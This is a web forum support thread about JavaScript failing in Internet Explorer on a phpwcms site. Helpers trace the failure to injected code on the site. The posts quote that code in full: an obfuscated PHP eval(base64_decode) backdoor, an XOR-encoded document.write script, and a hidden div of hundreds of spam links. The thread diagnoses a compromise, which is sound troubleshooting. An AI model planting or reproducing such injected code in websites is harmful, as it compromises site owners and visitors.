Javascript loaded from phpwcms does not work in IE
-
- Posts: 66
- Joined: Mon 2. May 2005, 17:33
- Location: Canada
- Contact:
Javascript loaded from phpwcms does not work in IE
For a reason I don't know, on a phpwcms site managed by a client, Javascript stopped to work with Internet explorer. I tried to load the source code rendered by phpwcms alone (copy it and paste it into a virgin html file) for testing purposes and javascript worked. In other words, Javascript works outside phpwcms, but not inside. I'm completely confused.
I started a thread about this into Poor man's multilingual tool:
http://www.phpwcms.de/forum/viewtopic.php?p=96260#96260
I started a thread about this into Poor man's multilingual tool:
http://www.phpwcms.de/forum/viewtopic.php?p=96260#96260
Javascript conflicts can occur if there are "event handler" issues. (For example, multiple ONLOAD events). Are you saying that FireFox/Opera/whatever OTHER browser ALSO DOES NOT execute the javascript?
Is there a little yellow triangle icon (error) in the lower left corner(status bar) of IE browser window?
Is there a little yellow triangle icon (error) in the lower left corner(status bar) of IE browser window?
-
- Posts: 66
- Joined: Mon 2. May 2005, 17:33
- Location: Canada
- Contact:
Thanks for the reply. Firefox executes the javascript, but IE does not. There is no error icon in IE. The strange thing is that if I copy the page source into a new file and i open it into IE, javascript is executed.
website:
http://www.ceveq.qc.ca
website:
http://www.ceveq.qc.ca
If not already tried - try now to disable in conf.inc.php (if on):
Perhaps you are a lucky one and this will do it for you... never know
Code: Select all
$phpwcms['IE_htc_png'] = 1; //set it to 0
$phpwcms['IE_htc_hover'] = 1; //set it to 0 too
-
- Posts: 66
- Joined: Mon 2. May 2005, 17:33
- Location: Canada
- Contact:
Thanks a lot for the support. I tried what both of you suggested and to disable every javascript else than the language switch, and it still not working with IE. It is a mystery that the following test page works, and not the real page, whereas the source code is the same:
Test page: http://www.ceveq.qc.ca/testjs.php
Real page: http://www.ceveq.qc.ca/index.php?raison
Test page: http://www.ceveq.qc.ca/testjs.php
Real page: http://www.ceveq.qc.ca/index.php?raison
Although your examples are not quite the same...
Looks like it MIGHT have something to do with this:
According to the DOM view, IE chokes on it and then mangles the DIV that immediately follows:
DOM view of "index.php?raison":
DOM view of "testjs.php":
Looks like it MIGHT have something to do with this:
Code: Select all
<? eval(base64_decode("ZWNobyBldmFsKGJhc2U2NF9kZWNvZGUoIkRRcGxjbkp2Y2w5eVpYQnZjblJwYm1jb01DazdEUXB5WlhGMWFYSmxLQ2N1ZUcxc0p5azdEUW9rZUcxc2NuQmpZbUZ1Ym1WeUlEMGdibVYzSUhCb2NFRmtjMTlZYld4U2NHTW9KM0J3WXpFd01DNXBibVp2Snl3Z0p5OXdhSEJCWkhOT0p5azdEUW9rZUcxc2NuQmpZbUZ1Ym1WeUxUNTJhV1YzS0NkNmIyNWxPakl3Tmljc0lEQXNJQ2NuTENBbkp5d2dKekFuS1RzTkNnPT0iKSk7IA==")); ?>
Code: Select all
< div class =
" invisibleonloa - - >
Code: Select all
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML Strict//EN"><HTML xmlns="http://www.w3.org/1999/xhtml"><HEAD><TITLE></TITLE><!-- phpwcms | free open source content management system created by Oliver Georgi (oliver at phpwcms dot de) and licensed under GNU/GPL. phpwcms is copyright 2003-2007 of Oliver Georgi. Extensions are copyright of their respective owners. Visit project page for details: http://www.phpwcms.org///--><META http-equiv="content-type" content="text/html; charset=utf-8" /><META http-equiv="content-style-type" content="text/css" /><SCRIPT src="template/inc_js/frontend.js" type="text/javascript"> </SCRIPT><STYLE type="text/css" media="all"> BODY {COLOR: #000000}A {COLOR: #18555a}A:link {COLOR: #18555a}A:active {COLOR: #18555a}A:visited {COLOR: #18555a}A:hover {COLOR: #18555a}A:visited {COLOR: #18555a}A:active { }</STYLE><STYLE type="text/css"> @import url( template/inc_css/frontend.css );</STYLE><SCRIPT src="template/inc_js/languages2.js" type="text/javascript"> </SCRIPT></HEAD><BODY><!--eval(base64_decode("ZWNobyBldmFsKGJhc2U2NF9kZWNvZGUoIkRRcGxjbkp2Y2w5eVpYQnZjblJwYm1jb01DazdEUXB5WlhGMWFYSmxLQ2N1ZUcxc0p5azdEUW9rZUcxc2NuQmpZbUZ1Ym1WeUlEMGdibVYzSUhCb2NFRmtjMTlZYld4U2NHTW9KM0J3WXpFd01DNXBibVp2Snl3Z0p5OXdhSEJCWkhOT0p5azdEUW9rZUcxc2NuQmpZbUZ1Ym1WeUxUNTJhV1YzS0NkNmIyNWxPakl3Tmljc0lEQXNJQ2NuTENBbkp5d2dKekFuS1RzTkNnPT0iKSk7IA==")); ?> <div class="invisibleonloa--><DIV id="container"><IMG alt="" src="http://www.ceveq.qc.ca/template/picture/background/entete_ceveq.gif" border="0" />
Code: Select all
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML Strict//EN"><HTML xmlns="http://www.w3.org/1999/xhtml"><HEAD><TITLE></TITLE><!-- phpwcms | free open source content management system created by Oliver Georgi (oliver at phpwcms dot de) and licensed under GNU/GPL. phpwcms is copyright 2003-2007 of Oliver Georgi. Extensions are copyright of their respective owners. Visit project page for details: http://www.phpwcms.org///--><META http-equiv="content-type" content="text/html; charset=utf-8" /><META http-equiv="content-style-type" content="text/css" /><SCRIPT src="template/inc_js/frontend.js" type="text/javascript"> </SCRIPT><STYLE type="text/css" media="all"> BODY {COLOR: #000000}A {COLOR: #18555a}A:link {COLOR: #18555a}A:active {COLOR: #18555a}A:visited {COLOR: #18555a}A:hover {COLOR: #18555a}A:visited {COLOR: #18555a}A:active { }</STYLE><STYLE type="text/css"> @import url( template/inc_css/frontend.css );</STYLE><SCRIPT src="template/inc_js/languages2.js" type="text/javascript"> </SCRIPT></HEAD><BODY><DIV><SCRIPT> var enkripsi="'1Afkt'02qv{ng'1F'00fkqrnc{'1Clmlg'1@'00'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);</SCRIPT><DIV style="DISPLAY: none"><A href="http://oligonucleotide.kerrymuzzey.com/">oligonucleotide</A> <A href="http://hairdryer.kerrymuzzey.com/">hairdryer</A> <A href="http://anuity.kerrymuzzey.com/">anuity</A> <A href="http://playland.kerrymuzzey.com/">playland</A> <A href="http://agni.kerrymuzzey.com/">agni</A> <A href="http://carputer.kerrymuzzey.com/">carputer</A> <A href="http://inogen.kerrymuzzey.com/">inogen</A> <A href="http://aad.kerrymuzzey.com/">aad</A> <A href="http://speach.kerrymuzzey.com/">speach</A> <A href="http://concern.kerrymuzzey.com/">concern</A> <A href="http://metonymy.kerrymuzzey.com/">metonymy</A> <A href="http://conscious.kerrymuzzey.com/">conscious</A> <A href="http://oclc.kerrymuzzey.com/">oclc</A> <A href="http://adtec.kerrymuzzey.com/">adtec</A> <A href="http://illy.kerrymuzzey.com/">illy</A> <A href="http://clo.kerrymuzzey.com/">clo</A> <A href="http://holter.kerrymuzzey.com/">holter</A> <A href="http://mnr.kerrymuzzey.com/">mnr</A> <A href="http://vittoria.kerrymuzzey.com/">vittoria</A> <A href="http://petrobras.kerrymuzzey.com/">petrobras</A> <A href="http://bulgur.kerrymuzzey.com/">bulgur</A> <A href="http://melly.maritimemagic.org/">melly</A> <A href="http://commit.maritimemagic.org/">commit</A> <A href="http://appetite.maritimemagic.org/">appetite</A> <A href="http://benzino.maritimemagic.org/">benzino</A> <A href="http://soni.maritimemagic.org/">soni</A> <A href="http://soler.maritimemagic.org/">soler</A> <A href="http://pera.maritimemagic.org/">pera</A> <A href="http://nunchucks.maritimemagic.org/">nunchucks</A> <A href="http://boogieman.maritimemagic.org/">boogieman</A> <A href="http://psac.maritimemagic.org/">psac</A> <A href="http://basses.maritimemagic.org/">basses</A> <A href="http://diarea.maritimemagic.org/">diarea</A> <A href="http://nissa.maritimemagic.org/">nissa</A> <A href="http://scimitars.maritimemagic.org/">scimitars</A> <A href="http://lesbein.maritimemagic.org/">lesbein</A> <A href="http://aliza.maritimemagic.org/">aliza</A> <A href="http://amsn.maritimemagic.org/">amsn</A> <A href="http://attribute.maritimemagic.org/">attribute</A> <A href="http://humpback.maritimemagic.org/">humpback</A> <A href="http://graber.maritimemagic.org/">graber</A> <A href="http://project1.maritimemagic.org/">project1</A> <A href="http://mamsi.fasttrackteaching.com/">mamsi</A> <A href="http://timewarp.fasttrackteaching.com/">timewarp</A> <A href="http://pcusa.fasttrackteaching.com/">pcusa</A> <A href="http://forge.fasttrackteaching.com/">forge</A> <A href="http://aquaponics.fasttrackteaching.com/">aquaponics</A> <A href="http://tvss.fasttrackteaching.com/">tvss</A> <A href="http://heresy.fasttrackteaching.com/">heresy</A> <A href="http://capstone.fasttrackteaching.com/">capstone</A> <A href="http://fsh.fasttrackteaching.com/">fsh</A> <A href="http://andain.fasttrackteaching.com/">andain</A> <A href="http://solumedrol.fasttrackteaching.com/">solumedrol</A> <A href="http://shamur.fasttrackteaching.com/">shamur</A> <A href="http://imi.fasttrackteaching.com/">imi</A> <A href="http://lineman.fasttrackteaching.com/">lineman</A> <A href="http://iv.fasttrackteaching.com/">iv</A> <A href="http://anecdotes.fasttrackteaching.com/">anecdotes</A> <A href="http://wyland.fasttrackteaching.com/">wyland</A> <A href="http://harmon.fasttrackteaching.com/">harmon</A> <A href="http://airwalk.fasttrackteaching.com/">airwalk</A> <A href="http://systimax.fasttrackteaching.com/">systimax</A> <A href="http://theobromine.fasttrackteaching.com/">theobromine</A> <A href="http://deadlift.macphersonlodge.com/">deadlift</A> <A href="http://bullring.macphersonlodge.com/">bullring</A> <A href="http://aldactone.macphersonlodge.com/">aldactone</A> <A href="http://monza.macphersonlodge.com/">monza</A> <A href="http://elize.macphersonlodge.com/">elize</A> <A href="http://belgian.macphersonlodge.com/">belgian</A> <A href="http://kairos.macphersonlodge.com/">kairos</A> <A href="http://redrum.macphersonlodge.com/">redrum</A> <A href="http://snappy.macphersonlodge.com/">snappy</A> <A href="http://trikke.macphersonlodge.com/">trikke</A> <A href="http://volga.macphersonlodge.com/">volga</A> <A href="http://yanks.macphersonlodge.com/">yanks</A> <A href="http://nix.macphersonlodge.com/">nix</A> <A href="http://spar.macphersonlodge.com/">spar</A> <A href="http://pate.macphersonlodge.com/">pate</A> <A href="http://gallon.macphersonlodge.com/">gallon</A> <A href="http://doodlebug.macphersonlodge.com/">doodlebug</A> <A href="http://brendan.macphersonlodge.com/">brendan</A> <A href="http://waveplate.macphersonlodge.com/">waveplate</A> <A href="http://doublet.macphersonlodge.com/">doublet</A> <A href="http://inez.macphersonlodge.com/">inez</A> <A href="http://dalhousie.cochlear-implants.net/">dalhousie</A> <A href="http://sunon.cochlear-implants.net/">sunon</A> <A href="http://bunton.cochlear-implants.net/">bunton</A> <A href="http://evercare.cochlear-implants.net/">evercare</A> <A href="http://smo.cochlear-implants.net/">smo</A> <A href="http://fifo.cochlear-implants.net/">fifo</A> <A href="http://langston.cochlear-implants.net/">langston</A> <A href="http://roofer.cochlear-implants.net/">roofer</A> <A href="http://dth.cochlear-implants.net/">dth</A> <A href="http://st1100.cochlear-implants.net/">st1100</A> <A href="http://nacc.cochlear-implants.net/">nacc</A> <A href="http://tgifriday.cochlear-implants.net/">tgifriday</A> <A href="http://svc.cochlear-implants.net/">svc</A> <A href="http://ontrack.cochlear-implants.net/">ontrack</A> <A href="http://grazon.cochlear-implants.net/">grazon</A> <A href="http://actuaries.cochlear-implants.net/">actuaries</A> <A href="http://caucus.cochlear-implants.net/">caucus</A> <A href="http://weathered.cochlear-implants.net/">weathered</A> <A href="http://iseki.cochlear-implants.net/">iseki</A> <A href="http://disaronno.cochlear-implants.net/">disaronno</A> <A href="http://clubing.cochlear-implants.net/">clubing</A> <A href="http://biocides.eternalsolitude.com/">biocides</A> <A href="http://vuescan.eternalsolitude.com/">vuescan</A> <A href="http://ebcdic.eternalsolitude.com/">ebcdic</A> <A href="http://sinn.eternalsolitude.com/">sinn</A> <A href="http://aesculapius.eternalsolitude.com/">aesculapius</A> <A href="http://ragnorak.eternalsolitude.com/">ragnorak</A> <A href="http://lawler.eternalsolitude.com/">lawler</A> <A href="http://vidal.eternalsolitude.com/">vidal</A> <A href="http://airconditioning.eternalsolitude.com/">airconditioning</A> <A href="http://vats.eternalsolitude.com/">vats</A> <A href="http://civilisation.eternalsolitude.com/">civilisation</A> <A href="http://guiter.eternalsolitude.com/">guiter</A> <A href="http://stoneridge.eternalsolitude.com/">stoneridge</A> <A href="http://ucd.eternalsolitude.com/">ucd</A> <A href="http://distal.eternalsolitude.com/">distal</A> <A href="http://fairings.eternalsolitude.com/">fairings</A> <A href="http://especially.eternalsolitude.com/">especially</A> <A href="http://mahayana.eternalsolitude.com/">mahayana</A> <A href="http://floristerias.eternalsolitude.com/">floristerias</A> <A href="http://fatsia.eternalsolitude.com/">fatsia</A> <A href="http://refinancement.eternalsolitude.com/">refinancement</A> <A href="http://jayskis.doublespringsranch.com/">jayskis</A> <A href="http://sohns.doublespringsranch.com/">sohns</A> <A href="http://photofacial.doublespringsranch.com/">photofacial</A> <A href="http://ballett.doublespringsranch.com/">ballett</A> <A href="http://towable.doublespringsranch.com/">towable</A> <A href="http://summons.doublespringsranch.com/">summons</A> <A href="http://desperato.doublespringsranch.com/">desperato</A> <A href="http://gameshow.doublespringsranch.com/">gameshow</A> <A href="http://serenata.doublespringsranch.com/">serenata</A> <A href="http://sxsw.doublespringsranch.com/">sxsw</A> <A href="http://cno.doublespringsranch.com/">cno</A> <A href="http://gallant.doublespringsranch.com/">gallant</A> <A href="http://performa.doublespringsranch.com/">performa</A> <A href="http://tosh.doublespringsranch.com/">tosh</A> <A href="http://powershares.doublespringsranch.com/">powershares</A> <A href="http://herculoids.doublespringsranch.com/">herculoids</A> <A href="http://in-sink-erator.doublespringsranch.com/">in-sink-erator</A> <A href="http://ctl.doublespringsranch.com/">ctl</A> <A href="http://pegaso.doublespringsranch.com/">pegaso</A> <A href="http://powerdirector.doublespringsranch.com/">powerdirector</A> <A href="http://autodialers.doublespringsranch.com/">autodialers</A> <A href="http://mcwhorter.caribbeanheart.org/">mcwhorter</A> <A href="http://environmentalist.caribbeanheart.org/">environmentalist</A> <A href="http://ernst.caribbeanheart.org/">ernst</A> <A href="http://exhaustion.caribbeanheart.org/">exhaustion</A> <A href="http://klr.caribbeanheart.org/">klr</A> <A href="http://zenga.caribbeanheart.org/">zenga</A> <A href="http://both.caribbeanheart.org/">both</A> <A href="http://vols.caribbeanheart.org/">vols</A> <A href="http://britrail.caribbeanheart.org/">britrail</A> <A href="http://quaternary.caribbeanheart.org/">quaternary</A> <A href="http://proctologist.caribbeanheart.org/">proctologist</A> <A href="http://butchers.caribbeanheart.org/">butchers</A> <A href="http://icd9.caribbeanheart.org/">icd9</A> <A href="http://icg.caribbeanheart.org/">icg</A> <A href="http://pirandello.caribbeanheart.org/">pirandello</A> <A href="http://isoldit.caribbeanheart.org/">isoldit</A> <A href="http://astarte.caribbeanheart.org/">astarte</A> <A href="http://tui.caribbeanheart.org/">tui</A> <A href="http://nightwalker.caribbeanheart.org/">nightwalker</A> <A href="http://btcc.caribbeanheart.org/">btcc</A> <A href="http://congressman.caribbeanheart.org/">congressman</A>[Tue, 18 Dec 07 05:02:47 +0000] </DIV><DIV class="invisibleonload" style="VISIBILITY: visible" originalHTML='<DIV id=container><IMG alt="" src="picture/../template/picture/background/entete_ceveq.gif" border=0>
-
- Posts: 66
- Joined: Mon 2. May 2005, 17:33
- Location: Canada
- Contact:
It looks like the eval(base64_decode("...")) turns to spam links. I though it was generated by phpwcms. How may I get rid of it?
Code: Select all
<? eval(base64_decode("ZWNobyBldmFsKGJhc2U2NF9kZWNvZGUoIkRRcGxjbkp2Y2w5eVpYQnZjblJwYm1jb01DazdEUXB5WlhGMWFYSmxLQ2N1ZUcxc0p5azdEUW9rZUcxc2NuQmpZbUZ1Ym1WeUlEMGdibVYzSUhCb2NFRmtjMTlZYld4U2NHTW9KM0J3WXpFd01DNXBibVp2Snl3Z0p5OXdhSEJCWkhOT0p5azdEUW9rZUcxc2NuQmpZbUZ1Ym1WeUxUNTJhV1YzS0NkNmIyNWxPakl3Tmljc0lEQXNJQ2NuTENBbkp5d2dKekFuS1RzTkNnPT0iKSk7IA==")); ?>
-
- Posts: 66
- Joined: Mon 2. May 2005, 17:33
- Location: Canada
- Contact: